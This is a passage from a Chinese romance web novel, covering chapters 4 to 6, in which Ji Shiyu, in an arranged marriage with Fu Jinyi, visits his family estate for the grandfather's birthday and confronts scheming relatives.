“爷爷让我去他的卧室取个东西,出来的时候正好下雪,算了算时间估计你也快到了。” “哦……” 跟他在一块季时与实在是找不出什么话题。 这段算是小别后的简单寒暄到此结束。 一路相顾无言,只有脚下积雪‘咯吱咯吱’的声响,直到一座完整的徽式建筑呈现在眼前。 飞檐与镂空花窗都是工匠亲手精心雕刻的,内室却是不同于外墙的复古,里面是一派现代简约的风格。 “这段时间我们都住这栋,你的行李应该已经有人送上去了,穿个外套我待会来接你一块去见爷爷。” “好。” 季时与看见二楼沙发角落的柜子上有一张合影,傅谨屹站在最中间,看着年纪极小,却笑的很开心,他父母各处一边,也笑着搂着他,上面落了一层灰。 她揭开行李箱,翻来覆去也只找到了一件情况稍微好点的灰色羊毛大衣,长度到了膝盖以下。 值得庆幸的是秦姨趁她不注意偷偷塞了条围巾进去,是她常带的那条。 刚穿戴好就听见身后一阵湿哒哒的动静,季时与以为是傅谨屹上来了,准备开口说话才发现楼梯间根本没有任何身影。 她慌了一瞬,毕竟这儿这么大,常年没有居住,有没有什么东西很难说,脑子里霎时就走马观花闪过无数种恐怖画面。 4、第4章 遇到这种事季时与第一准则就是,千万不要有好奇心,不要试图以为自己是聪明人。 她用围巾围住了口鼻,连带着脑门,只剩下眼睛一条缝。 卯足了劲从二楼冲下了一楼,两分钟内没有回过一次头。 直至撞到了一堵墙。 怎么说呢,这堵不太像墙的“墙”,似乎也被她吓了个结实。 隔着围巾季时与都感觉得到他颤了一下。 反弹几步之后,她站定,一手扯下围巾,大口大口的呼吸着新鲜空气。 “你这是……”墙开始说话,“偷我哥东西了?” 季时与平复了一下心情,才看向方才撞到的“墙”。 他还保持着刚才的姿势,直直的定在原地,顶着雪,前额的碎发很长,随着风摇曳了几下后扎在双眼皮上,有些痒,但无动于衷。 好看的皮囊很多,除了傅谨屹之外,眼前的傅谦也是属于令人印象深刻的那一挂,浓眉高鼻,双眸比傅谨屹还要深邃,他不同于傅谨屹寻常人不得近身的清贵感,反倒比傅谨屹多了更多染缸里出来的感觉,全身混不吝的反骨。 “你哥房里有东西。”季时与食指虚虚往来的地方指指。 “有什么?” “有……”冷静下来,她总不能说她感觉有阿飘,毕竟那只是她的臆想,说出来丢人不说,还显得她气势过分羸弱,“没什么。” “你撞鬼了?” 傅谦终于把那根扰人的发丝撩到脑后,皱着眉眺望她来时路。 “你也看见了?!”季时与惊讶。 “你有病吧?” 傅谦把目光移到她身上,纵使只在婚礼见过一面,他对这位传闻中的嫂子倒是没什么偏见,毕竟他自诩也不是什么好东西。 此刻却有些觉得,他的好哥哥娶她是不是领了什么针对性扶贫项目指标。 季时与快速反应过来,“开个玩笑而已。” 傅谦很是无语,“这一点也不好笑。” 看他没有要走的意向,顺嘴一问。 “你怎么会在这?” “我女朋友送的狗不见了,出来找找,你看见了吗?” “没有。”她只顾着闷头跑,其他什么也没留意。 傅谦好意提醒一句,“它会咬人,你要是看见了,不要逗它。” 一阵风过来,季时与冷的起了一层鸡皮疙瘩,她拢了拢围巾,答了句好之后还道了声谢。 养狗不奇怪,养了一只会咬人的狗,多少会让人觉得有点狂犬病。 但这事放在傅谦身上,多少又让人觉得有点合理,毕竟他在傅家也是臭名昭著。 傅谨屹的父亲有一个弟弟一个妹妹,傅谦则是傅谨屹二叔所生,俗话说好竹出歹笋,傅谦就是那个歹笋。 从小到大闯过的祸、傅谨屹帮他收拾过的烂摊子,用头发丝来数都数不清。 十六岁时就因为不想按谨字辈排名,擅自把傅谨谦改成了傅谦。 交过的女朋友更是能用一茬一茬来形容。 整个傅家,傅谦也就还能听的进傅谨屹的那么点话。 季时与看他还在找,便也准备去见傅老爷子,雪不停的下,这会才堪堪停下来,狗的脚印也被覆盖的严丝合缝,想找到得花些时间。 还没走几步,却听见传来对话。 “你是我的朋友,是我带你来我家的,你有什么担心的?” “毕竟是你爷爷的生日,我来不是太合适吧……而且你那个在傅氏的哥哥,你不觉得有点恐怖吗?” “你这么胆小你还跟我来干什么?”说话的人似乎开始不满,生起气来,“他算个什么,不知道爷爷从哪里捡来的野人。” 另一人惊讶她话里的意思,不敢说话,“啊?” “你不知道了吧?他爸妈常年在外面搞什么研究,听都没听说过有孩子,突然就冒出个8岁的小孩送来了傅家,谁知道他从哪来的,是不是什么野种……” 这事不仅她不知道,季时与也是第一次知道,在季时与为数不多的印象里,傅谨屹在外的形象一直都是光风霁月,矜贵傲然。 对方第一句话,傅谦就知道是哪路神仙,不过他没什么兴趣偷听别人说话,停下来只不过是听见了低低的狗吠声。 见季时与无动于衷,傅谦难得有些好奇,“你怎么这么冷淡?” “你怎么也这么冷淡?”她反问。 “他不是你老公吗?” 季时与掀起眼皮睨他一眼,陈述,“他也是你哥。” 傅谦扯了扯嘴角,“比这更难听的我跟傅谨屹都听过,这才哪到哪,小儿科。” 也是,半路杀出来的继承人不知道会遭多少人的眼红,承受的多也是正常。 “傅爷爷生日,他爸妈也没打算回来吗?” 傅谦双臂环胸,“他们搞科研,两人又从事不同的方向,常年分居两地,有时候消息都很闭塞,不回来也正常,傅谨屹一年到头都见不到几次。” 季时与从夹道缓缓探出身子,映入眼帘最中间的是假山流水。 底下大概是做了暖管,使水流大冬天也不会被冻住,还缓缓的冒着热烟。 在一旁说话的人看着是两个年纪不大的女孩,蹲在地上揉捏着一只雪白的小狗,其中一个是傅谨屹姑姑的女儿,傅家这一辈也就这一个女孩,平时也是被宠的不像话。 傅谦看她骤然蹲下来,“你干什么?” “我觉得你说的有道理。” 目光落在她手上不曾停歇的动作上,不解,“我说什么了?” “傅谨屹是我老公。” 傅谦今天三番两次摸不着头脑,但这明显不是字面意思,“什么?” 季时与拿着捏好的雪球,递了一个到他眼下,眼神示意,“意思就是,我的人,我欺负也就算了,挑衅我那不就是明晃晃打我季时与的脸。” 比普通正常男性拳头还大的雪球在他眼下,傅谦迟疑的往后退了一步,“不,她是个疯女人,你还是……” 季时与对于他的话置若罔闻,手里的雪球以一种傅谦未曾预料过的速度砸了出去,结结实实砸在对面人的肩膀上。 他生生把后半句吞了回去,话锋一转。 “你也是疯的。” 这个结果季时与甚是满意,颠了颠剩下的一个雪球,“还是这么准,初中的标枪没白练。” 突如其来的攻击让傅谨玥懵了好一会,待到缓过神之后,瞬间炸了毛。 “傅谦!!” 砰—— 又是一个,准确的落在肩膀上。 连带着傅谨玥身旁的女孩子也吓了一跳。 “看清楚了,是我砸的。” 季时与不打算祸水东引,拍拍手上的水迹,朝她抬抬下巴示意。 “你凭什么砸我?”傅谨玥怒不可遏,碍于外人在身边,也不想闹得自己难堪丢了面子。 “凭什么不能?首先,傅谨屹背着整个傅氏,他的名声受损,你会有好果子吃吗?其次,如果没有人教你怎么尊重自己的哥哥,我不介意让你长长记性。” 傅家的整体情况季时与并不是特别清楚,她住在静园并不会有人来叨扰。 而傅谨玥一个二十岁从小养尊处优被家里惯坏的女孩子,能说出这些话,很难说不是从小耳濡目染的结果。 “丑人多作怪,你不过就是一个马上要被傅谨屹抛弃的女人,有什么资格管我?爷爷再喜欢你,但我才是她亲孙女。” 季时与还真没听过别人骂她丑,简直跟挠痒痒似的。 “确实,你占了年纪小这条,去找爷爷告状我也不会嘲笑你的,你也可以马上挤出来一点眼泪,让整个傅家人都来看看笑话。” 长这么大辨是非的能力傅谨玥还是有的,自知无理,但被人这么当面拆穿,还挨了两下,是从来没有过的,面子上、心理上都过不去坎。 她也蹲下来,团起了雪球。 不消片刻,比季时与方才还大的雪球就成了型,眨眼间重重扑了过来。 没有意料中碎在地上的感觉,倒是被人从左前方严实的挡了下来。 “闹够了吗?”凛冽的嗓音暗暗藏着不悦,傅谨屹呵斥道。 腕上因手臂抬起而暴露在空气下的腕表,挡住了大部分的力,雪渣残留在表盘上。 季时与在这款表发行的时候见过,8位数的价,还限量5只,铂金表壳搭配黑色大明火珐琅表盘,深邃优雅。 她当时喜欢的不行,可惜是只男士表。 “我……”傅谨玥如同老鼠见了猫,见了来人,一刻也待不住,拉起身边的小姑娘往一旁种着竹子的夹景道上挪去,“我妈叫我回家有事,我、我先回去了。” 不消片刻,逃的没了影子。 好戏落下帷幕,□□走过去抱起地上雪白的一团,略微检查了下,便起身走上了另一条路。 傅谨屹堪堪收回目光,再转头对上了季时与清亮的眸子。 见他无动于衷,季时与先开口:“你怎么来了?” “我去房间没找到你。” 一部分雪渣还挂在傅谨屹左臂没有温度的大衣上,他右手掌心扫过几番,温度让雪化成了雪水沁在衣里。 季时与的眸光只落在那只表上,他迟迟没有动作,她出于一股爱财心切的冲动,指尖抚了上去,除了表盘上的水渍被带走,一同被带走的还有她平稳的心跳。 季时与手像触了静电一般收回,急于解释:“抱歉……我只是、我其实,总之我也很喜欢这只手表,上面有雪水没擦干净。” 为了证明,还特地把手掌摊开,指尖冻的猩红。 傅谨屹未置一词,静静地看着她辩解。 或许是在傅谦走向了季时与身后贸然出现的那条隐蔽的小路时,她就恍悟到,方才的对话可能已经被傅谨屹全都收入耳朵里。 这让她迫切解释的心,又上了一个高度。 原本冻的苍白的脸色,渐渐由内而外浮现出粉嫩的红晕,像这三尺雪地里凭空绽开枝头的秋海棠。 傅谨屹的脑海里似倏然打开了一则记忆开关,季时与鲜少会在他面前这样“手舞足蹈”的丰富。 ‘纸老虎’三个字跃然于他眼前。 傅谨屹侧首端详着表盘,水渍被拂去,留下了一道不属于他的,若隐若现的指纹,不深究难以看见。 “给你也买一只?” 似乎是没想过他会这么问,季时与下意识驳道,“不是限量5只都已经出售了吗?” “不难。” “二手的我不要。”她拒绝。 “哪敢?” 季时与不明白他眉宇间的那么点愉悦从何而来,“嗯?” “季大小姐的厉害,有幸见识过了。” 季时与以为方才的事会就此翻篇,傅谨屹却主动戳破这层窗户纸,在言语上调侃,又让她想起出头时的情形,脸上一热骤然有些懊恼。 “作为利益共同体,这些是我应该做的,事不关己高高挂起不是我的风格。” 傅谨屹多少有些诧异,人怎么能记仇到这个地步,一个半月之前的事还能耿耿于怀。 但这并不代表他认为自己当时的做法有什么问题。 傅谨屹走在她前方半步远,意味深长的回头看她一眼,脚下的雪花还没消融,踩上去依旧松软,“我只要结果,过程不是我要筹谋的范畴。” “商人重利轻别离,说的还真是不错……” 季时与这话不敢当着傅谨屹面前说,低下头小声嘀咕,在他看不见的背后还做了个砸雪球的动作。 动作里带着她的不满,导致用的劲儿太大,脚下打了个滑,见傅谨屹没反应,约莫是没听见,站稳后抓紧跟了上去。 傅谨屹无动于衷,声音伴着雪天的寒意,“季大小姐厉害是厉害……” “后半句呢?” “厉害有余,手段不足。” 季时与脑袋里狠狠扣了几个问号,为刚刚多管闲事的自己悔的肠子乌青,还给了他发出评价的机会。 “确实没有傅总这么能说会道,不过傅总没听说过一句话吗?” “愿闻其详。” “不被善待的妻子,多半克夫。” 随着季时与话音落下,傅谨屹的脚步也停止。 他转过身,身后是两层后现代建筑,风格上参杂颇多,貌似融合了各种年代特色,即使是白天也灯火通明,面对着的是差点撞上来的季时与。 语气森然:“问题不大,我命硬。” 傅谨屹取下后脖上挂着的深灰色长围巾,继续说道:“如果爷爷问起爸妈的事,你只需要说大雪封山,机场停飞回不来就行了。” 房子里温度适宜,相比于傅谨屹居住的那栋,多了很多感觉上的人味,一楼是放置了很多老物件儿,不止装饰物,还有许多孩童时的玩具,布置上温馨且用心。 傅家这一辈年轻人,还没有有小孩的,那些玩具显然是从前用过,后来被珍藏起来的。 通往二楼的楼梯墙壁上也是挂满了许多季时与没见过的,各种不同场景拍下的照片,有傅家这几个兄弟,也有傅谨屹父辈的,覆盖的年龄段极广。 “爸妈最近有跟你联系吗?”她没忍住问。 “最近?两三个月之前问候过一次你,不过当时我在国外,没怎么聊。” “回涿安之前你没有主动联系过吗?” 傅谨屹神色如常,抬手准备为她推门,“不是你说的吗?商人重利轻别离。” 门推开的那一瞬间,季时与有些懊悔把这个词安在他身上形容他。 但为时已晚。 映入眼帘的是满当的字画,书架上,挂架上从左往右,依次是有些日子的,到最右边,是墨迹未干的一副字。 书桌前的老人精神头尚可,原本年轻时刚毅的脸庞布满了皱纹,变得慈祥,满头花白下黑色的发丝仅剩十分之一。 近处细看下,拿着粗狼毫笔的手在抖。 傅老爷子看着进来的人,笑意快速的染上眉梢,手上熟稔的招着让季时与赶紧过来,中气没之前足,“时与,来,看看爷爷的字最近有没有精进。” 季时与上前也笑开,“爷爷可真会打趣我,明知道我不是这块料,故意把我架在这呢。” 傅爷爷的字画都是退休后养起来的兴趣,向许多名家也请教过。 “你个小鬼灵精,这么久没见,怎么又清瘦了许多?是不是傅谨屹这臭小子没有好好照顾你?”傅老爷子搁下手里的笔,“爷爷这是年纪大了身体不行了才瘦,你看我写个字,现在手抖得,可不能学啊。” “现在的女孩子都是追求身量清瘦纤细。”傅谨屹插上一句。 “时与是我孙媳妇,你照顾不好就算了,我跟她聊两句天,话也说不得?” 不出意外,挨了一顿骂,傅谨屹这个大孙子,他还是能拿捏的。 对季时与时,傅老爷子又是另外一副面孔,“好孩子,你帮爷爷去一楼最右边收字画的房间,有个金丝楠木的柜子里,取一根墨条来吧。” 季时与自然不会拒绝。 待门合上后,傅老爷子缓步坐下,神色不怒自威。 季时与不知道的是,这书房里要什么墨条没有,上至价值连城,下至古董市场门口砍完价十块钱一条的都有。 以傅谨屹的了解自然知道这只是傅老爷子支开季时与的借口。 傅老爷子从右手抽屉第一层取出最上方的一则报纸,甩出去的力度彰显着他的怒气。 眼神锐利,直直的射向傅谨屹,“你好好给我解释解释。” 大有解释不清楚今天就出不了这个房门的气势。 这件事仿佛了了没有尽头似的,傅谨屹虽然无奈,态度却端的恭敬,“这就是一个误会,我知道后第一时间就处理了。” 傅老爷子的怒意却丝毫没有递减的意思,把他的冷淡视为无话可辩解,怒其不争,哀其不幸。 “我问的是这个吗?!我问的是你飞去r国,是不是又去找那个女人去了?” 5、第5章 没给傅谨屹插嘴的机会,傅老爷子先把丑话放在前头。 “傅谨屹!你要知道你肩膀上的责任,倘若你连婚姻的责任都负不起,你让我怎么相信你能扛得起整个傅氏。” 都说隔代亲,傅老爷子气急了才如此疾言厉色。 傅谨屹看他胸口起伏的厉害,怕情绪波动太大对身体再产生影响,也不敢任由他继续发挥。 端的是不卑不亢,行至一旁茶桌,倒了杯茶奉上。 “您也知道圈子里这种事层出不穷,我又不是神人,那天也是被人摆了一道,至于找什么女人,更是无稽之谈。” 傅老爷子对他递上来的茶无动于衷,“是不是无稽之谈你自己心里有数,早几年你在外边大费周折的找一个女人,瞒得过别人,你还想瞒我?嗯?” “这都多久的陈年往事,您怎么还记得。” 明明是询问的话,傅谨屹说出来却没有几分疑惑,让人觉得只是已读后礼貌性的回复。 “我不管你找到没找到,也不管今后找不找的到,现在,”傅老爷子停顿,布满纹路的掌心有些枯瘦,但依旧宽大有劲,握着拐杖‘咚咚’敲了两下地板,一下比一下更有压迫,“你必须得给我个交代。” 季时与才拿完墨条,就收到了解云女士亲切的问候。 “小宝,爸爸妈妈准备的礼物记得转交给你傅爷爷哈,顺便代问声好。” 一楼很安静,季时与也压低了声音,“知道了妈。” 解云:“还有,你跟谨屹两个人刚好趁这段时间在涿安好好相处相处,夫妻俩长期异地会出问题的你知道吧,妈妈最近老是做噩梦……” 季时与打断她后续一大串的连锁反应:“妈,我自己的事情,我自己会处理的。” 解云:“我也是为了你好,你从小就没有你姐姐那么强势,性子软,太容易被人拿捏。” 说到伤心处,解云涌上来几分哽咽。 “早知道妈妈小时候根本不会给你报什么舞蹈班,你也不会喜欢上跳舞,你那么爱漂亮,喜欢万众瞩目的小姑娘,现在这样妈妈一辈子都后悔。” 解云跟季谦年少相识,结婚的早,婚后的第三年生下了季时与的姐姐季年,本来是不打算要第二个孩子,6年后意外才得来了季时与。 意为时间赐予的宝贝。 季时与从小也一向要风得风要雨得雨,说要出国留学,夫妇俩人就马不停蹄地背地里打理好一切。 季年的性格与她截然相反,做事利落干脆,基本用不着人操心,季谦一直带在身边让她学着怎么接手季氏。 意外来临之后解云悔不当初,天天以泪洗面,为季时与打算着后半辈子的生活。 听着电话里低声的啜泣,季时与隐隐觉得,腿上细细密密针扎似得刺痛又开始了,像三月春雨又绵又密,片刻喘息的机会都没有。 “你还没有接受吗?可是我已经接受了。”季时与低低叫了声“妈妈”,瞬间便红了眼眶。 她不仅接受,也妥协屈服了,嫁给傅谨屹是她的一场屈服,也是她向命运的妥协。 但偶尔也会庆幸至少不是完全没有利处,就譬如现在,解云的眼泪比钱塘江里涨的潮水,还要来的汹涌,铺天盖地袭来的压力与无能为力都在拢向季时与时,她还要承担一部分解云的悲伤。 好在此刻她在千里之外。 “不要再提醒我这些了好吗?”季时与用上了亲昵时不会用的尊称,鼻音很浓,但郑重其事,“哪怕您真的对我很失望,但我真的,不可以是现在的我吗?” 即使她现在只是个在家里摆起来有点好看的花瓶而已。 话说完,没有片刻迟钝便挂断。 待心情平复后,手机上收到季年的已取消通话提示,以及一条长达59秒的语音。 季时与长按——转为文字。 大意是:对于季氏的下一步计划开展的很顺利,大概3个月后就回国,过程中在一个华裔老板那收购了一座庄园,觉得她一定会喜欢,让她考虑考虑离婚去国外生活几年,看看外国金发碧眼的富豪子弟。 对于季时与这桩婚事,季年从一开始就秉承不赞成的态度,她不认为一场联姻把两个素不相识的人束缚在一起,能有什么好结果,这跟封建糟粕的包办婚姻有什么区别? 当时的季氏同比前两年净利润持续下降的厉害,季时与又出了那样的事,两家老人这个提议,季父季母是最乐见其成的。 一方面无疑是这个举措能给公司注入新鲜血液,能解当前的困境。 另一方面,解云也想给季时与找个将来能依靠,能托付终身的人。 与其让季时与在外面七搞八搞,不如找个能知根底,位高“钱”重的,让她下半辈子至少花钱不愁。 傅谨屹声名在外,没什么可令人诟病的,就够了。 季时与回她:【你这种大逆不道的话,被解女士知道,明天早上起床前你就可以在意大利街头见到她了。】 季年:【不好意思,明天飞里昂,她现在出发还有可能在法国街头碰见我。总之我说的你好好考虑,季氏我已经完全接手,不希望你听爸妈的那些话,为我,为季氏牺牲什么。】 季时与怕傅爷爷等的急,便匆匆的回了个ok的手势。 门内的一切都偃旗息鼓,季时与进来时,只有傅老爷子在书桌前写着“静”字,字静心不静。 季时与把墨条递上去,乖乖在一旁站好,准备研墨。 “小丫头,你觉得谨屹这孩子人怎么样?” 傅老爷子的话不像随便问问,季时与没想好怎么答,她还没了解傅谨屹了解到这种程度。 官方的说几个外人对他的形容词,会不会显得太见外? 看她踌躇,傅老爷子搁下毛笔,当她是心有愤懑。 “唉,病过一场后,我也在想当初跟你爷爷是不是太操之过急了,也没有想过你们年轻人跟我们那代不一样了。人老了原来真的是会怕死的,我们年纪到这了,一心就想在入土前看子孙满堂,现在临了了,幡然醒悟过来,反倒耽误你了。” 季时与不知道他会突然说这些,“爷爷……” 傅老爷子起身,撑着拐杖略带些虚弱,抬手遏止了她后面安慰的话,“虽然我跟你爷爷一开始对两家公司多少也是带有私心的,但我是第一眼就看中你这孩子,现在也是越看越喜欢,你爷爷把你托付给我们傅家,他走了快大半年了,估计我也不久了,我希望你能幸福,你跟谨屹两个人要是真没有感情,在一起也没个球意思。” 傅老爷子从架子最下层的保险柜里拿出一份文件递到季时与手里。 她疑惑但也顺着意思往下翻了翻,最后眼里只剩讶异,她承受不起这份协议的重。 “爷爷,这个我不能要。”她斩钉截铁肃然拒绝。 季时与的回答显然在傅老爷子的意料之内。 他语气带着不容置喙的威仪,“这份东西跟整个傅家,跟傅谨屹都没有关系,是爷爷我的私人财产,就当是你当时出嫁,我没给你的那份嫁妆。即使以后你跟傅家没了关系,也还是我的孙女。” 季时与扶他重新坐下。 “您现在的首要任务就是好好保养身体,我跟傅……我跟谨屹相处的挺好的。” 傅老爷子锐利的目光里饱含着厚重的慈爱,灯光下眼角还有几分闪烁的水渍,让季时与不忍。 “你俩别哄我这个老头子开心了,我是人老了,脑子还没糊涂呢。” “真的!” 季时与声音拔高,对上傅老爷子的眼神一点儿也没有闪躲,反而煞有其事的点点头。 毕竟她跟傅谨屹是挺好的,虽然待在一块的时间少之又少,但他们井水不犯河水,相敬如宾,和颜悦色,心平气和……诸如此类等等。 只要他州官不放火,她这个百姓也只是心情不好的时候偶尔点点灯而已。 是这样的没错! 季时与这么一想,底气又足了不止一星半点。 “真的?你真看的上傅谨屹那臭小子?”傅老爷子皱着眉头,心下思索。 “没错,当然!” 嗯?等等!这问题怎么跟她在心里推演的不一样?她刚才说了什么来着? “等一下爷爷……” 她还想找补几句。 傅老爷子明显比她还激动,“爷爷明白了,懂了,你放一百个心,这个事情爷爷来帮你。” “不是的爷爷,我刚没听太清楚……” 没听清楚都能脱口而出的话还能不是真心话吗? 左右不过是小姑娘脸皮比较薄,不好意思说出口。 “好好好,就当你没听清楚。” 傅老爷子的笑意不减。 门外忽的袭来一股冷空气,扬起了桌上没被镇尺压住的生宣纸。 “没礼貌,进门前连敲门都不会了?”傅老爷子看见他就气不打一处来。 傅谨屹长身玉立,门把手被他指尖轻握,下一瞬就关上,“进我自己家敲什么门?” 他带进来的空气中泛着一种雪松香,清清冷冷,像雪下埋藏许久的陈年小紫叶檀。 季时与鼻尖轻嗅,下一秒,打了个喷嚏。 傅谨屹的目光落到她身上,“厚一些的衣服已经安排好人送到你的房间,去试试,晚饭我们在家宴厅等你。” “去吧去吧。”傅老爷子笑着让她赶紧去,“下雪天穿太薄了容易感冒。” 季时与不好拒绝。 “一点也不会关心人,让你找人安排送个衣服过来,去这么久。” 季时与一走,傅老爷子第一句话就是数落他。 傅谨屹神色寡淡并不打算惹他生气。 “处理了一下公司的事,耽搁了一会。” “不上心,白瞎了时与这么喜欢你,一颗心都在你身上。” “?” 谁? 6、第6章 与会客厅不同,宴会厅是处于整个傅家最中心的位置,离傅家几个兄弟姐妹居住的小洋楼路程距离都是一样的。 宴会厅正前方采用的是全景玻璃,犹如极简画框,框柱了眼前的一片人造景观,左边是高山流水,右边是小桥流水人家,还种着一棵秋海棠。 每时每刻的风景都是不一样的,比如清晨太阳升起时洒下的金色光芒会笼罩着它还未绽开的花瓣。 又譬如此刻傍晚又下起来的雪,粉嫩的花瓣上覆了一层薄薄的白,娇艳欲滴。 季时与挑了一套比原来稍微厚重一些的外套换上,而后落座,才发现傅家其他人都已经到了,但傅爷爷并不在主位上,而傅谨玥脸色比泡了十年的臭鸭蛋坛子还臭。 季时与没太注意到她的位置与傅谨屹的离得极近,手肘稍稍一抬,不动声色般点了点傅谨屹的小臂。 “傅爷爷呢?傅谨玥她怎么了?” 话闭,对面的人带着股子负气的态度,向她匆匆袭来。 季时与从来不会在气势里输上半分,起身的动作已经做了一半,硬生生被傅谨屹单手按住。 屁股又结实的摔回了椅子上。 室内温度比外面高上许多,所以落座前外套已经被她脱了下来,此时穿着的是一件黑色暗织薄长袖连衣裙,修身包臀,裙尾在小腿处绽开。 cassie去年年末发布的春夏步步生莲系列里的主裙。 季时与怒目圆瞪,理解不了他的意思。 袖子被她早早挽起,傅谨屹手指骨节分明,用力时,青色脉络在灯线下更明显,掌心温润带着暖意,轻盖在季时与一掌可握的手腕上。 似有安抚之意。 接着他的声音接踵而来,向她解释前半句,“爷爷去吃药了。” 令人费解的是,傅谨玥站定后,倒是态度来了个大转弯,堪比游乐园里360°大摆锤。 “对不起,下午的事情是不对,不应该骂你。” 文字游戏里咬牙切齿的意味,季时与还是听得出来的。 身旁的人没让季时与多费口舌,继续问道:“谁不对?‘你’又是谁?” 嗓音里不掺杂其他情绪,也没有压迫感,反而淡薄如青山云雾,云雾笼罩下的一切,他都了如指掌,无需再进一步。 对面的傅谦双手环胸,嘴角噙着笑意,果然人多的地方,好戏也多。 傅谨玥深呼吸一口气,“对不起,下午的事情是我不对,我不应该骂嫂子你,也不应该乱说话。” “可以了吗哥?”傅谨玥带着些小心翼翼,看向傅谨屹。 整个宴会厅鸦雀无声。 今晚来傅家参加家宴的,除了傅老爷子的儿子女儿与孙子辈之外,还有几个近亲,零零散散也坐满了人。 傅谨屹笑的春风和煦,“你问错了人。” 即使再不情愿,也不得不低下头。 傅谨玥咬咬牙,望着门口有些焦灼,周围人的目光更让她无所适从,“嫂子,可以接受我的道歉吗?” 他的用意,季时与已然明白。 沉吟片刻后,才缓缓抬眼看她,“再说,你先回去吧。” “好久没见,谨屹的媳妇儿是越来越好看,也越来越……”傅琴满脸的笑意,又看了一眼气冲冲坐下的女儿,语气仍旧温和,“厉害了呀。” 傅谨屹拿傅谨月的事开刀,傅琴是属于明知理亏但也要争三分的人,矛头自然就对准了季时与。 “静园取静,不在闹市区,荒凉的很,外面多的是豺狼虎豹,虽然我腿脚不方便,但总归也是还会出门的,厉害点给自己壮壮胆子总没错的对吧姑姑?” 季时与一副楚楚可怜的样子,轻轻拍了拍胸脯,好不柔弱。 “只怕是胆子壮过了头的时候,就不知道天高地厚了。” 傅琴举手投足的优雅独一份,优雅的很容易让人忘却,她骨子里是个强势的精于算计的女人。 “姑姑贵人多忘事,南城关于我的传闻岂止是不知道天高地厚,您对我还真是好,净捡这些好听的说。” 俗话说光脚的不怕穿鞋的,季时与可不会像这群人一样,虚与委蛇的面子功夫上了得。 她向来喜欢破罐子破摔。 让本是想煞煞她威风的傅琴被架上身份的高台,脸色暗淡了下来,舌尖抵了抵口腔壁上的软肉,准备把这口气咽下去,季时与能做的,她作为长辈不能做太过。 一时之间气氛有些凝滞。 傅谨屹的目光落在身旁季时与的身上,从前只知道她清瘦,没有了外套的加持,如今仔细端详起来,于他而言,有些过分的瘦弱了。 眼神里是不染尘烟的清亮,似乎在这种时候还格外明媚几分。 这样的眼神他不是第一次见,却是第一次在季时与身上见。 让他不禁想起前些时刻傅老爷子的话。 那时季时与刚从书房出去。 傅老爷子:“小姑娘家家害臊是常有的事,这可不是我在瞎编乱造,时与亲口跟我说的。” 寂静的书房里扬起一声嗤笑,傅谨屹觉得有些可笑,但不是在笑一个女孩子勇敢表达了对一个男人有爱意的举动。 而是这个人是谁都有可能,独独不会是季时与。 傅谨屹很早就开始接触傅氏,从下往上爬了很多年,形形色色的人他也见过不少,才有如今的地位。 他看人习惯第一反应看眼睛。 季时与的眼睛里什么都没有,不是纯粹的什么都没有,是风静树止的默然,更妄言对一个人的爱意。 除非她隐藏的太好太完美。 “你笑什么?不高兴?”傅老爷子没懂他的意思到底是高兴还是不高兴。 “没有高兴,也没有不高兴,笑您聪明一世怎么信了她的鬼话,被一个小姑娘哄的找不着北。” 傅谨屹本想点根烟,思及傅老爷子的烟瘾才戒断不久,只好作罢。 得到了季时与的答案,傅老爷子满意的喜不自胜,才不管三七二十一,“我可警告你,这次你要是再不给我好好把握机会,把时与照顾好了,我以后也不用你给我养老送终,我自己去住养老院。” “您放心吧,即使没有这些乱七八糟的,我也会履行我作为一个丈夫该尽的责任。” 宴会桌上的这群豺狼虎豹装聋作哑,二叔傅明航出来打圆场。 “今儿个是为了庆祝老爷子生辰的,桌上都是自家人,咱们就不要论这些长短了,谨玥,你去看看你爷爷药吃好了没有。” 傅谨屹语气俨然正色,没打算就此为止,声音不算重,房间的每个角落里都足以听清,“知不知道天高地厚不重要,知道自己姓什么才重要。” 一瞬间的噤声。 “你们说呢?”压迫性十足的反问没人回答,傅谨屹看似随意的点了明姓,“二叔?” “这……” 支支吾吾。 原本昂扬着的众人,现下头顶如乌云笼罩,隐隐成为了暴风雨吹响的前奏进行曲。 “姑姑?” 傅谨屹还是那番望着她,只是早已没有了起初的耐心。 玻璃外是寒冬夜飘雪,厅里灯光明亮恍如白昼,照耀在金丝楠木椅子上,似有万千条暗金河在涌动。 金丝楠木椅上他不动如山,气势压到冰点,要他们给出答案。 傅琴笑了笑,“哪里的话,既然大家都是傅家人,这些也就不分你我了。” 仰人鼻息的日子过久了,心思也就活络了。 一个月前以傅琴为首的几个叔伯趁傅谨屹在去往伦敦的路上,把当时已经洽谈完成的项目,只差临门一脚签个字时截了胡,傅琴一家吃不下的饼,分给了在座的好几家合力完成,赚的盆满钵满。 导致傅氏最后只能被迫接了个政府项目,还得还人情债。 傅谨屹眼中闪过一丝轻蔑,唇角轻勾,嘲讽道:“既然您都这么说了,那我也不用畏首畏尾顾及大家了,平日里由傅氏牵头给你们送过去的合作不少,姑姑现在的意思是大家都是傅家人,傅氏蒸蒸日上比什么都好,那这些合作我也就不谦让了。” 这些事都是季时与一个星期前才从季年那听到的消息。 季时与蓦的有些佩服眼前的男人,比孙子还能忍,只怕傅琴不管准备了什么样的说辞,最后傅谨屹都能达到他的目的。 时间掐的刚刚好。 傅老爷子被傅谨玥逗的爽朗一笑,屋内的阴霾才冲散了些许。 大家都心照不宣的“重归于好”,没有人会把事情捅到傅老爷子那,面子里子都给自己留了。 一顿饭,餐桌上的人心思各异。 饭后,傅老爷子美名其曰不耽误小两口相处,找了个由头回去继续练字。 季时与撑了把伞,两人并肩而行,整个傅家的雪地已经被人清理过一遍,没有来时那么难行,只剩下薄薄一层积雪。 一步一个脚印。 雪夜太过寂静,季时与说着话玩起了哈气的游戏。 “恭喜你,目的达成了。彻底解决了这几个蛀虫,这就是你说的打蛇打七寸?” “嗯,接下来这段时间都会留在国内。” 傅谨屹的步子比季时与的长上许多,她只好快走几步才能跟上。 季时与:“丢了个大项目不会觉得很可惜吗?” 傅谨屹否认:“舍不得孩子,套不着狼。” 傅家这几个近亲的公司就像野蛮生长的藤壶,狠狠扒着傅氏吸血,扎根,最后取而代之。 不过于傅谨屹而言,取而代之不过是痴人说梦,野心家要具备的特质从来不止野心。 “那道歉?” 季时与随口一问,为这长路漫漫找点打发时间的乐子。 “算谢礼。” 天光已然大暗,傅家园林里即使灯火再辉煌,也挡不住夜色袭来。 傅谨屹垂目顺着自己的伞沿望下去,季时与撑着一柄黑伞只能看见她的半张侧脸,随着她步伐的移动,伞面上下荡漾。 直至露出唇瓣,珍珠耳环,鼻尖。 